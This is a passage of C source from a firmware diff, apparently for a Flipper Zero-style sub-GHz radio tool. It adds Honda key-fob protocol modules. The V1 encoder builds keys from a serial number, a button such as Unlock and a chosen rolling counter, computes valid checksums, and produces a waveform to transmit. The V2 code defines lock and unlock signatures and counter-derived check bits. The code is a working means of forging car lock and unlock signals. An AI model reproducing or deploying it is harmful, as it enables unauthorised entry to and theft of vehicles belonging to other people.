SubGhzProtocolDecoderBase base;
SubGhzBlockGeneric generic;
uint8_t step;
uint8_t preamble_count;
bool preamble_has_long;
bool data_pending;
bool last_level;
uint8_t bits[HONDA_V1_DECODE_BUFFER_BYTES];
uint8_t bit_count;
uint32_t pending;
bool pending_valid;
uint8_t k2;
};
struct SubGhzProtocolEncoderHondaV1 {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
uint8_t k2;
};
static size_t honda_v1_emit(
LevelDuration* upload,
size_t index,
size_t capacity,
bool level,
uint32_t duration) {
if(index < capacity) {
upload[index++] = level_duration_make(level, duration);
}
return index;
}
static size_t honda_v1_emit_merge(
LevelDuration* upload,
size_t index,
size_t capacity,
bool level,
uint32_t duration) {
if(index == 0) {
if(index < capacity) upload[index++] = level_duration_make(level, duration);
return index;
}
if(index >= capacity) return index;
LevelDuration prev = upload[index - 1];
if(level_duration_get_level(prev) == level) {
upload[index - 1] = level_duration_make(
level, level_duration_get_duration(prev) + duration);
} else {
upload[index++] = level_duration_make(level, duration);
}
return index;
}
static size_t honda_v1_emit_short_pairs(
LevelDuration* upload,
size_t index,
size_t capacity,
uint32_t duration,
size_t count) {
for(size_t i = 0; i < count; i++) {
if((index + 2U) > capacity) return index;
upload[index++] = level_duration_make(true, duration);
upload[index++] = level_duration_make(false, duration);
}
return index;
}
static void honda_v1_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
for(size_t index = 0; index < 8; index++) {
bytes[index] = (data >> ((7U - index) * 8U)) & 0xFFU;
}
}
static uint64_t honda_v1_bytes_to_u64_be(const uint8_t bytes[8]) {
uint64_t data = 0;
for(size_t index = 0; index < 8; index++) {
data = (data << 8U) | bytes[index];
}
return data;
}
static bool honda_v1_button_valid(uint8_t b) {
if(b > HONDA_V1_BUTTON_MAX) return false;
return ((HONDA_V1_BUTTON_VALID_MASK >> b) & 1U) != 0U;
}
static const char* honda_v1_button_name(uint8_t b) {
if((b < COUNT_OF(honda_v1_button_names)) && (honda_v1_button_names[b] != NULL)) {
return honda_v1_button_names[b];
}
return "Unknown";
}
static uint32_t honda_v1_button_code(uint8_t button) {
if(!honda_v1_button_valid(button)) {
return HONDA_V1_BUTTON_FALLBACK_CODE;
}
return honda_v1_button_codes[button];
}
static bool honda_v1_duration_is(uint32_t d, uint32_t t) {
return (d >= t) ? ((d - t) <= HONDA_V1_TE_DELTA) : ((t - d) <= HONDA_V1_TE_DELTA);
}
static uint8_t honda_v1_crc_fold(uint16_t v) {
const uint8_t lo = (uint8_t)(v & HONDA_V1_NIBBLE_MASK);
const uint16_t hi = (uint16_t)(v >> 4U);
int32_t s = (hi & 1U) ? (int32_t)lo : -(int32_t)lo;
uint8_t out = (uint8_t)((s - (int32_t)hi) & 7);
out |= (uint8_t)(((v >> 3U) & 1U) << 3U);
if(((v >> 1U) & 1U) && (((v >> 4U) ^ (v >> 5U)) & 1U)) {
out ^= 0x04U;
}
return (uint8_t)(out & HONDA_V1_NIBBLE_MASK);
}
static uint8_t honda_v1_checksum_base(uint64_t data) {
const uint8_t a = honda_v1_crc_fold((uint16_t)(data & HONDA_V1_COUNTER_MASK));
const uint8_t b = honda_v1_crc_fold((uint8_t)((data >> 40U) & 0xFFU));
return (uint8_t)((a ^ b ^ 1U) & HONDA_V1_NIBBLE_MASK);
}
static uint8_t honda_v1_checksum_alternate(uint8_t checksum) {
uint8_t mask = 0x09U;
if((checksum & 1U) == 0U) {
mask = (checksum & 2U) ? 0x0BU : HONDA_V1_NIBBLE_MASK;
}
return (uint8_t)((checksum ^ mask) & HONDA_V1_NIBBLE_MASK);
}
static void honda_v1_checksum_wire_order(uint64_t data, uint8_t* first, uint8_t* second) {
const uint8_t checksum = honda_v1_checksum_base(data);
const uint8_t other = honda_v1_checksum_alternate(checksum);
if((checksum & 0x08U) != 0U) {
*first = other;
*second = checksum;
} else {
*first = checksum;
*second = other;
}
}
static bool honda_v1_crc_valid(uint64_t data, uint8_t crc) {
uint8_t first = 0U;
uint8_t second = 0U;
honda_v1_checksum_wire_order(data, &first, &second);
crc &= HONDA_V1_NIBBLE_MASK;
return (crc == first) || (crc == second);
}
static void honda_v1_decode_fields(SubGhzBlockGeneric* generic) {
const uint32_t low = (uint32_t)(generic->data & HONDA_V1_LOW32_MASK);
generic->serial = (uint32_t)((generic->data >> 36U) & HONDA_V1_SERIAL_MASK);
generic->btn = (uint8_t)((low >> 28U) & HONDA_V1_NIBBLE_MASK);
generic->cnt = low & HONDA_V1_COUNTER_MASK;
generic->data_count_bit = HONDA_V1_BIT_COUNT;
}
static uint64_t honda_v1_build_key(uint32_t serial, uint8_t button, uint16_t counter) {
const uint32_t table = honda_v1_button_code(button);
const uint32_t low = ((table & HONDA_V1_COUNTER_MASK) << 16U) | counter;
const uint32_t high = ((serial & HONDA_V1_SERIAL_MASK) << 4U) | (table >> 16U);
return ((uint64_t)high << 32U) | low;
}
static void honda_v1_state_reset(SubGhzProtocolDecoderHondaV1* instance) {
instance->step = HondaV1DecoderStepReset;
instance->preamble_count = 0U;
instance->preamble_has_long = false;
instance->data_pending = false;
instance->last_level = false;
instance->bit_count = 0U;
memset(instance->bits, 0, sizeof(instance->bits));
}
static void honda_v1_add_bit(SubGhzProtocolDecoderHondaV1* instance, bool bit) {
if(instance->bit_count > HONDA_V1_VALID_MAX) return;
if(bit) {
instance->bits[instance->bit_count >> 3U] |=
(uint8_t)(1U << (((uint8_t)~instance->bit_count) & 0x07U));
}
instance->bit_count++;
}
static bool honda_v1_commit(SubGhzProtocolDecoderHondaV1* instance) {
if(instance->bit_count < HONDA_V1_BIT_COUNT) return false;
uint8_t aligned[sizeof(instance->bits)];
memcpy(aligned, instance->bits, sizeof(aligned));
uint8_t shift_count = instance->bit_count - HONDA_V1_BIT_COUNT;
if(shift_count < 1U) shift_count = 1U;
for(uint8_t shift = 0U; shift < shift_count; shift++) {
for(size_t i = 0; i < sizeof(aligned) - 1U; i++) {
aligned[i] = (uint8_t)((aligned[i] << 1U) | (aligned[i + 1U] >> 7U));
}
aligned[sizeof(aligned) - 1U] <<= 1U;
}
const uint8_t button = (uint8_t)(aligned[4] >> 4U);
if(!honda_v1_button_valid(button)) return false;
instance->generic.data = honda_v1_bytes_to_u64_be(aligned);
instance->k2 = (uint8_t)(aligned[8] >> 4U);
honda_v1_decode_fields(&instance->generic);
if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
return true;
}
static void honda_v1_symbol(SubGhzProtocolDecoderHondaV1* instance, bool level, uint32_t duration) {
const bool sh = honda_v1_duration_is(duration, HONDA_V1_TE_SHORT);
const bool lg = honda_v1_duration_is(duration, HONDA_V1_TE_LONG);
if(!sh && !lg) {
if(!level && (duration > HONDA_V1_TE_END) && (instance->step == HondaV1DecoderStepData)) {
honda_v1_commit(instance);
}
honda_v1_state_reset(instance);
return;
}
if(instance->step == HondaV1DecoderStepReset) {
if(level) {
instance->step = HondaV1DecoderStepPreamble;
instance->preamble_count = 1U;
instance->last_level = level;
}
return;
}
if(instance->step == HondaV1DecoderStepPreamble) {
if(lg) {
if(instance->preamble_count < 0xFFU) instance->preamble_count++;
instance->preamble_has_long = true;
instance->last_level = level;
return;
}
if(sh) {
if(instance->preamble_has_long && (instance->preamble_count > 5U)) {
instance->step = HondaV1DecoderStepData;
instance->bit_count = 0U;
memset(instance->bits, 0, sizeof(instance->bits));
instance->data_pending = true;
instance->last_level = level;
return;
}
if(instance->preamble_count < 0xFFU) instance->preamble_count++;
instance->last_level = level;
return;
}
honda_v1_state_reset(instance);
return;
}
if(sh) {
if(instance->data_pending) {
honda_v1_add_bit(instance, level);
instance->data_pending = false;
instance->last_level = level;
return;
}
instance->data_pending = true;
instance->last_level = level;
} else {
if(instance->data_pending) {
honda_v1_add_bit(instance, level);
} else {
honda_v1_add_bit(instance, instance->last_level);
}
instance->last_level = level;
}
}
static bool honda_v1_append_frame(
SubGhzProtocolEncoderHondaV1* instance,
size_t* index,
const uint8_t frame[HONDA_V1_FRAME_BYTES]) {
LevelDuration* upload = instance->encoder.upload;
LevelDuration generated[HONDA_V1_FRAME_GENERATED_MAX];
size_t generated_count = 0U;
for(uint32_t bit_index = 0U; bit_index < HONDA_V1_FRAME_SYMBOLS; bit_index++) {
uint32_t bit;
if(bit_index >= HONDA_V1_FRAME_START) {
const uint32_t data_index = (bit_index - HONDA_V1_FRAME_START) >> 3U;
const uint8_t shift = (uint8_t)((11U - bit_index) & 0x07U);
bit = (frame[data_index] >> shift) & 0x01U;
} else {
bit = ((uint32_t)~bit_index) & 0x01U;
}
generated_count = honda_v1_emit_merge(
generated, generated_count, COUNT_OF(generated), bit != 0U, HONDA_V1_TE_SHORT);
generated_count = honda_v1_emit_merge(
generated, generated_count, COUNT_OF(generated), bit == 0U, HONDA_V1_TE_SHORT);
}
if(generated_count <= HONDA_V1_FRAME_SYNC_DROP) {
return false;
}
const size_t copy_count = generated_count - HONDA_V1_FRAME_SYNC_DROP;
if((*index + copy_count + HONDA_V1_FRAME_TAIL_MAX) > HONDA_V1_UPLOAD_CAPACITY) {
return false;
}
memcpy(
&upload[*index], &generated[HONDA_V1_FRAME_SYNC_DROP], copy_count * sizeof(LevelDuration));
*index += copy_count;
const bool tail_level = !level_duration_get_level(upload[*index - 1U]);
*index = honda_v1_emit(upload, *index, HONDA_V1_UPLOAD_CAPACITY, tail_level, HONDA_V1_TE_SHORT);
if(!tail_level) {
*index = honda_v1_emit(upload, *index, HONDA_V1_UPLOAD_CAPACITY, true, HONDA_V1_TE_SHORT);
}
*index = honda_v1_emit(upload, *index, HONDA_V1_UPLOAD_CAPACITY, false, HONDA_V1_FRAME_GAP_US);
return true;
}
static bool honda_v1_build_upload(SubGhzProtocolEncoderHondaV1* instance) {
furi_check(instance);
LevelDuration* upload = instance->encoder.upload;
if(upload == NULL) return false;
uint8_t frame[HONDA_V1_FRAME_BYTES] = {0};
uint8_t first = 0U;
uint8_t second = 0U;
size_t index = 0U;
index = honda_v1_emit_short_pairs(
upload,
index,
HONDA_V1_UPLOAD_CAPACITY,
HONDA_V1_TE_SHORT,
HONDA_V1_PREAMBLE_UPLOAD_COUNT / 2U);
if(index != HONDA_V1_PREAMBLE_UPLOAD_COUNT) {
return false;
}
upload[index - 1U] = level_duration_make(false, HONDA_V1_FRAME_GAP_US);
honda_v1_u64_to_bytes_be(instance->generic.data, frame);
honda_v1_checksum_wire_order(instance->generic.data, &first, &second);
const uint8_t crc_order[] = {first, second};
for(size_t crc_index = 0U; crc_index < COUNT_OF(crc_order); crc_index++) {
frame[HONDA_V1_FRAME_CRC_INDEX] = (uint8_t)(crc_order[crc_index] << 4U);
for(size_t repeat = 0U; repeat < HONDA_V1_FRAME_REPEAT_PER_CRC; repeat++) {
if(!honda_v1_append_frame(instance, &index, frame)) {
return false;
}
}
}
instance->k2 = second;
instance->encoder.front = 0U;
instance->encoder.size_upload = index;
return true;
}
const SubGhzProtocolDecoder subghz_protocol_honda_v1_decoder = {
.alloc = subghz_protocol_decoder_honda_v1_alloc,
.free = subghz_protocol_decoder_honda_v1_free,
.feed = subghz_protocol_decoder_honda_v1_feed,
.reset = subghz_protocol_decoder_honda_v1_reset,
.get_hash_data = subghz_protocol_decoder_honda_v1_get_hash_data,
.serialize = subghz_protocol_decoder_honda_v1_serialize,
.deserialize = subghz_protocol_decoder_honda_v1_deserialize,
.get_string = subghz_protocol_decoder_honda_v1_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_honda_v1_encoder = {
.alloc = subghz_protocol_encoder_honda_v1_alloc,
.free = subghz_protocol_encoder_honda_v1_free,
.deserialize = subghz_protocol_encoder_honda_v1_deserialize,
.stop = subghz_protocol_encoder_honda_v1_stop,
.yield = subghz_protocol_encoder_honda_v1_yield,
};
const SubGhzProtocol honda_v1_protocol = {
.name = HONDA_V1_PROTOCOL_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Load |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_honda_v1_decoder,
.encoder = &subghz_protocol_honda_v1_encoder,
};
void* subghz_protocol_encoder_honda_v1_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderHondaV1* instance = malloc(sizeof(SubGhzProtocolEncoderHondaV1));
furi_check(instance);
memset(instance, 0, sizeof(*instance));
instance->base.protocol = &honda_v1_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 1U;
instance->encoder.size_upload = HONDA_V1_UPLOAD_CAPACITY;
instance->encoder.upload = malloc(HONDA_V1_UPLOAD_CAPACITY * sizeof(LevelDuration));
furi_check(instance->encoder.upload);
return instance;
}
void subghz_protocol_encoder_honda_v1_free(void* context) {
furi_check(context);
SubGhzProtocolEncoderHondaV1* instance = context;
free(instance->encoder.upload);
free(instance);
}
SubGhzProtocolStatus
subghz_protocol_encoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolEncoderHondaV1* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0U;
FuriString* temp_str = furi_string_alloc();
if(!temp_str) return SubGhzProtocolStatusError;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
furi_string_free(temp_str);
return SubGhzProtocolStatusError;
}
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
furi_string_free(temp_str);
return SubGhzProtocolStatusError;
}
furi_string_free(temp_str);
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, HONDA_V1_BIT_COUNT);
if(status != SubGhzProtocolStatusOk) {
return status;
}
instance->generic.protocol_name = instance->base.protocol->name;
honda_v1_decode_fields(&instance->generic);
uint32_t serial = instance->generic.serial;
uint32_t btn = instance->generic.btn;
uint32_t cnt = instance->generic.cnt;
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Serial", &serial, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Btn", &btn, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1);
serial &= HONDA_V1_SERIAL_MASK;
uint8_t button = (uint8_t)(btn & HONDA_V1_NIBBLE_MASK);
if(!honda_v1_button_valid(button)) {
button = (uint8_t)instance->generic.btn;
}
if(!honda_v1_button_valid(button)) {
button = HondaV1ButtonUnlock;
}
instance->generic.serial = serial;
instance->generic.btn = button;
instance->generic.cnt = cnt & HONDA_V1_COUNTER_MASK;
instance->generic.data_count_bit = HONDA_V1_BIT_COUNT;
instance->generic.data =
honda_v1_build_key(instance->generic.serial, instance->generic.btn, instance->generic.cnt);
uint8_t first = 0U;
uint8_t second = 0U;
honda_v1_checksum_wire_order(instance->generic.data, &first, &second);
instance->k2 = second;
uint8_t key_data[HONDA_V1_KEY_BYTES];
honda_v1_u64_to_bytes_be(instance->generic.data, key_data);
flipper_format_rewind(flipper_format);
bool key_written =
flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(key_data));
if(!key_written) {
flipper_format_rewind(flipper_format);
key_written = flipper_format_insert_or_update_hex(
flipper_format, "Key", key_data, sizeof(key_data));
}
if(!key_written) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t tmp;
flipper_format_rewind(flipper_format);
tmp = instance->generic.serial;
if(!flipper_format_update_uint32(flipper_format, "Serial", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->generic.btn;
if(!flipper_format_update_uint32(flipper_format, "Btn", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->generic.cnt;
if(!flipper_format_update_uint32(flipper_format, "Cnt", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->k2;
if(!flipper_format_update_uint32(flipper_format, HONDA_V1_CRC_FIELD, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V1_CRC_FIELD, &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->k2;
if(!flipper_format_update_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &tmp, 1);
}
flipper_format_rewind(flipper_format);
uint32_t repeat = 1U;
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
instance->encoder.repeat = (size_t)repeat;
if(!honda_v1_build_upload(instance)) {
return SubGhzProtocolStatusErrorEncoderGetUpload;
}
instance->encoder.is_running = true;
return SubGhzProtocolStatusOk;
}
void subghz_protocol_encoder_honda_v1_stop(void* context) {
SubGhzProtocolEncoderHondaV1* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_honda_v1_yield(void* context) {
SubGhzProtocolEncoderHondaV1* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return duration;
}
void* subghz_protocol_decoder_honda_v1_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderHondaV1* instance = malloc(sizeof(SubGhzProtocolDecoderHondaV1));
furi_check(instance);
memset(instance, 0, sizeof(*instance));
instance->base.protocol = &honda_v1_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_honda_v1_free(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaV1* instance = context;
free(instance);
}
void subghz_protocol_decoder_honda_v1_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaV1* instance = context;
instance->pending = 0U;
instance->pending_valid = false;
honda_v1_state_reset(instance);
}
void subghz_protocol_decoder_honda_v1_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderHondaV1* instance = context;
if(duration < HONDA_V1_TE_DELTA) {
instance->pending += duration;
instance->pending_valid = true;
return;
}
if(instance->pending_valid) {
const uint32_t p = instance->pending;
if(level) {
instance->pending = p + duration;
instance->pending_valid = true;
return;
}
if(p >= HONDA_V1_TE_SHORT_MIN) honda_v1_symbol(instance, true, p);
instance->pending = 0U;
instance->pending_valid = false;
}
if(level) {
instance->pending = duration;
instance->pending_valid = true;
return;
}
honda_v1_symbol(instance, false, duration);
}
uint8_t subghz_protocol_decoder_honda_v1_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaV1* instance = context;
const uint64_t data = instance->generic.data;
return (uint8_t)(data ^ (data >> 8U) ^ (data >> 16U) ^ (data >> 24U) ^ (data >> 32U) ^
(data >> 40U) ^ (data >> 48U) ^ (data >> 56U));
}
SubGhzProtocolStatus subghz_protocol_decoder_honda_v1_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderHondaV1* instance = context;
honda_v1_decode_fields(&instance->generic);
SubGhzProtocolStatus status =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(status != SubGhzProtocolStatusOk) {
return status;
}
if(!flipper_format_write_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t btn_u32 = instance->generic.btn;
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn_u32, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if(!flipper_format_write_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t crc = instance->k2 & HONDA_V1_NIBBLE_MASK;
if(!flipper_format_write_uint32(flipper_format, HONDA_V1_CRC_FIELD, &crc, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if(!flipper_format_write_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &crc, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
FuriString* display = furi_string_alloc();
furi_string_printf(
display, "%s - %s", instance->generic.protocol_name, honda_v1_button_name(instance->generic.btn));
status = SubGhzProtocolStatusOk;
if(!flipper_format_write_string_cstr(flipper_format, "Disp", furi_string_get_cstr(display))) {
status = SubGhzProtocolStatusErrorParserOthers;
}
furi_string_free(display);
return status;
}
SubGhzProtocolStatus
subghz_protocol_decoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderHondaV1* instance = context;
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, HONDA_V1_BIT_COUNT);
if(status != SubGhzProtocolStatusOk) {
return status;
}
flipper_format_rewind(flipper_format);
uint32_t crc = 0U;
bool crc_found = flipper_format_read_uint32(flipper_format, HONDA_V1_KEY_2_FIELD, &crc, 1);
if(!crc_found) {
flipper_format_rewind(flipper_format);
crc_found = flipper_format_read_uint32(flipper_format, HONDA_V1_CRC_FIELD, &crc, 1);
}
if(crc_found) {
instance->k2 = (uint8_t)(crc & HONDA_V1_NIBBLE_MASK);
} else {
uint8_t first = 0U;
uint8_t second = 0U;
honda_v1_checksum_wire_order(instance->generic.data, &first, &second);
instance->k2 = first;
}
instance->generic.protocol_name = instance->base.protocol->name;
honda_v1_decode_fields(&instance->generic);
return SubGhzProtocolStatusOk;
}
void subghz_protocol_decoder_honda_v1_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderHondaV1* instance = context;
honda_v1_decode_fields(&instance->generic);
const uint8_t k2 = instance->k2 & HONDA_V1_NIBBLE_MASK;
const bool crc_ok = honda_v1_crc_valid(instance->generic.data, k2);
furi_string_printf(
output,
"%s %dbit\r\n"
"Key:%016llX\r\n"
"Btn:%s\r\n"
"Sn:%07lX Cnt:%04lX\r\n"
"Crc:%X [%s]",
instance->generic.protocol_name,
(int)instance->generic.data_count_bit,
(unsigned long long)instance->generic.data,
honda_v1_button_name((uint8_t)instance->generic.btn),
(unsigned long)instance->generic.serial,
(unsigned long)instance->generic.cnt,
k2,
crc_ok ? "OK" : "ERR");
}
+38
View File
@@ -0,0 +1,38 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <flipper_format/flipper_format.h>
#define HONDA_V1_PROTOCOL_NAME "Honda V1"
typedef struct SubGhzProtocolDecoderHondaV1 SubGhzProtocolDecoderHondaV1;
typedef struct SubGhzProtocolEncoderHondaV1 SubGhzProtocolEncoderHondaV1;
extern const SubGhzProtocol honda_v1_protocol;
void* subghz_protocol_decoder_honda_v1_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_honda_v1_free(void* context);
void subghz_protocol_decoder_honda_v1_reset(void* context);
void subghz_protocol_decoder_honda_v1_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_honda_v1_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_honda_v1_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_honda_v1_get_string(void* context, FuriString* output);
void* subghz_protocol_encoder_honda_v1_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_honda_v1_free(void* context);
SubGhzProtocolStatus
subghz_protocol_encoder_honda_v1_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_encoder_honda_v1_stop(void* context);
LevelDuration subghz_protocol_encoder_honda_v1_yield(void* context);
+973
View File
@@ -0,0 +1,973 @@
#include "honda_v2.h"
#include "../blocks/const.h"
#include "../blocks/decoder.h"
#include "../blocks/encoder.h"
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include <string.h>
#define TAG "HondaV2"
static const SubGhzBlockConst subghz_protocol_honda_v2_const = {
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit_for_found = 81,
};
#define HONDA_V2_PREAMBLE_PAIRS 319U
#define HONDA_V2_MIN_PREAMBLE_PAIRS 64U
#define HONDA_V2_SYNC_US 750U
#define HONDA_V2_SYNC_DELTA_US 120U
#define HONDA_V2_UPLOAD_CAPACITY 1024U
#define HONDA_V2_GAP_US 50000U
#define HONDA_V2_BTN_UNKNOWN 0x00U
#define HONDA_V2_BTN_LOCK 0x02U
#define HONDA_V2_BTN_UNLOCK 0x04U
#define HONDA_V2_SIG_UNLOCK 0xA285E3UL
#define HONDA_V2_SIG_LOCK 0xC20363UL
#define HONDA_V2_FF_BTNSIG "BtnSig"
#define HONDA_V2_FF_CHECK "Check"
#define HONDA_V2_FF_TAIL "Tail"
#define HONDA_V2_FF_EXTRA_BIT "ExtraBit"
typedef struct SubGhzProtocolDecoderHondaV2 {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint16_t preamble_count;
uint8_t raw[10];
uint8_t bit_count;
bool extra_bit;
bool previous_bit;
bool boundary_pad_skipped;
bool pending_short;
uint64_t key;
uint16_t tail;
uint32_t command_signature;
uint32_t serial;
uint32_t count;
uint8_t button;
uint8_t check;
bool check_ok;
bool tail_ok;
} SubGhzProtocolDecoderHondaV2;
typedef struct SubGhzProtocolEncoderHondaV2 {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
uint64_t key;
uint16_t tail;
uint32_t command_signature;
uint32_t serial;
uint32_t count;
uint8_t button;
uint8_t check;
} SubGhzProtocolEncoderHondaV2;
typedef enum {
HondaV2DecoderStepReset = 0,
HondaV2DecoderStepPreambleLow,
HondaV2DecoderStepPreambleHigh,
HondaV2DecoderStepSyncLow,
HondaV2DecoderStepData,
} HondaV2DecoderStep;
static void honda_v2_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
for(size_t i = 0; i < 8; i++) {
bytes[i] = (data >> ((7U - i) * 8U)) & 0xFFU;
}
}
static uint64_t honda_v2_bytes_to_u64_be(const uint8_t bytes[8]) {
uint64_t data = 0;
for(size_t i = 0; i < 8; i++) {
data = (data << 8U) | bytes[i];
}
return data;
}
static uint8_t honda_v2_button_from_signature(uint32_t signature);
static const char* honda_v2_button_name(uint8_t button);
static uint8_t honda_v2_calculate_check(uint32_t count);
static bool honda_v2_calculate_tail_msb(uint32_t count);
static uint16_t honda_v2_calculate_tail(uint32_t count);
static void honda_v2_parse_key_fields(
uint64_t key,
uint32_t* signature,
uint32_t* serial,
uint32_t* count,
uint8_t* button,
uint8_t* check);
static bool honda_v2_validate_frame(
uint64_t key,
uint16_t tail,
bool extra_bit,
bool* check_ok,
bool* tail_ok);
static bool honda_v2_add_decoded_bit(SubGhzProtocolDecoderHondaV2* instance, bool bit);
static bool honda_v2_process_transition(
SubGhzProtocolDecoderHondaV2* instance,
bool level,
uint32_t duration);
static bool honda_v2_finish_frame(SubGhzProtocolDecoderHondaV2* instance);
static bool honda_v2_encoder_add_level(
SubGhzProtocolEncoderHondaV2* instance,
size_t* index,
bool level,
uint32_t duration);
static bool honda_v2_encoder_add_bit(
SubGhzProtocolEncoderHondaV2* instance,
size_t* index,
bool* previous_bit,
bool bit);
static bool honda_v2_build_upload(SubGhzProtocolEncoderHondaV2* instance);
static bool honda_v2_is_short(uint32_t duration) {
return DURATION_DIFF(duration, subghz_protocol_honda_v2_const.te_short) <
subghz_protocol_honda_v2_const.te_delta;
}
static bool honda_v2_is_long(uint32_t duration) {
return DURATION_DIFF(duration, subghz_protocol_honda_v2_const.te_long) <
subghz_protocol_honda_v2_const.te_delta;
}
static bool honda_v2_is_sync(uint32_t duration) {
return DURATION_DIFF(duration, HONDA_V2_SYNC_US) < HONDA_V2_SYNC_DELTA_US;
}
static uint8_t honda_v2_button_from_signature(uint32_t signature) {
if(signature == HONDA_V2_SIG_UNLOCK) {
return HONDA_V2_BTN_UNLOCK;
} else if(signature == HONDA_V2_SIG_LOCK) {
return HONDA_V2_BTN_LOCK;
}
return HONDA_V2_BTN_UNKNOWN;
}
static const char* honda_v2_button_name(uint8_t button) {
switch(button) {
case HONDA_V2_BTN_LOCK:
return "Lock";
case HONDA_V2_BTN_UNLOCK:
return "Unlock";
default:
return "Unknown";
}
}
static uint8_t honda_v2_calculate_check(uint32_t count) {
const uint8_t c0 = ((count >> 1) ^ (count >> 2) ^ (count >> 3) ^ (count >> 4) ^ (count >> 6)) &
1U;
const uint8_t c1 = ((count >> 0) ^ (count >> 2) ^ (count >> 3) ^ (count >> 4) ^ (count >> 5) ^
(count >> 6) ^ 1U) &
1U;
const uint8_t c2 = ((count >> 1) ^ (count >> 3) ^ (count >> 4) ^ (count >> 5) ^ (count >> 6)) &
1U;
return (uint8_t)(c0 | (c1 << 1) | (c2 << 2));
}
static bool honda_v2_calculate_tail_msb(uint32_t count) {
const uint8_t tail = ((count >> 0) ^ (count >> 2) ^ (count >> 4) ^ (count >> 5)) & 1U;
return tail != 0U;
}
